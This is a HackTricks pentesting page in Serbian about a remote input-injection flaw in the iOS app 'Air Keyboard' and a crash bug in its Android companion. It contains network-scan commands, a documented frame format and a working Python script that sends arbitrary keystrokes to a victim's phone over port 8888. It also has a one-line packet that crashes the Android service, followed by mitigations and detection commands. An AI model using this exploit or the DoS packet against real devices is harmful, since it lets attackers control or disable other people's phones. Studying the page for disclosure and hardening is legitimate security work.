Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
TL;DR
iOS verzija komercijalne aplikacije "Air Keyboard" (App Store ID 6463187929) otvara TCP servis u čistom tekstu na portu 8888 koji prihvata okvire pritisaka tastera bez ikakve autentifikacije. Svaki uređaj na istoj Wi-Fi mreži može se povezati na taj port i injektovati proizvoljni unos sa tastature u telefon žrtve, ostvarujući potpuno preuzimanje daljinske interakcije.
Prateća Android verzija sluša na portu 55535. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani otpad uzrokuje neobrađenu izuzetak u OpenSSL rutini dekripcije, rušeći pozadinsku uslugu (DoS).
1. Otkriće usluge
Skenirajte lokalnu mrežu i potražite dva fiksna porta koja koriste aplikacije:
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Na Android uređajima možete lokalno identifikovati odgovarajući paket:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
2. Format okvira (iOS)
Binarni fajl otkriva sledeću logiku parsiranja unutar handleInputFrame()
rutine:
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
Deklarisana dužina uključuje device_id
bajt ali ne i dvobajtni header.
3. Eksploatacija PoC
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
Svaki štampajući ASCII (uključujući \n
, \r
, specijalne tastere, itd.) može biti poslat, efektivno dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, poseta phishing URL-ovima, itd.
4. Android Companion – Odbijanje usluge
Android port (55535) očekuje lozinku od 4 karaktera enkriptovanu sa hard-kodiranim AES-128-ECB ključem praćenom nasumičnim nonce-om. Greške u parsiranju se prenose na AES_decrypt()
i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Uzrok
- Nema provere porekla / integriteta na dolaznim okvirima (iOS).
- Kryptografska zloupotreba (stat ključ, ECB, nedostatak provere dužine) i nedostatak obrade izuzetaka (Android).
6. Mogućnosti ublažavanja i ideje za jačanje
- Nikada ne izlažite neautentifikovane usluge na mobilnom uređaju.
- Izvedite tajne po uređaju tokom onboardinga i proverite ih pre obrade unosa.
- Povežite slušalac na
127.0.0.1
i koristite međusobno autentifikovani, enkriptovani transport (npr., TLS, Noise) za daljinsko upravljanje. - Otkrivajte neočekivane otvorene portove tokom mobilnih bezbednosnih pregleda (
netstat
,lsof
,frida-trace
nasocket()
itd.). - Kao krajnji korisnik: deinstalirajte Air Keyboard ili ga koristite samo na pouzdanim, izolovanim Wi-Fi mrežama.
Detekcija Cheat-Sheet (Pentesteri)
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
Reference
- Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched
- CXSecurity advisory WLB-2025060015
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.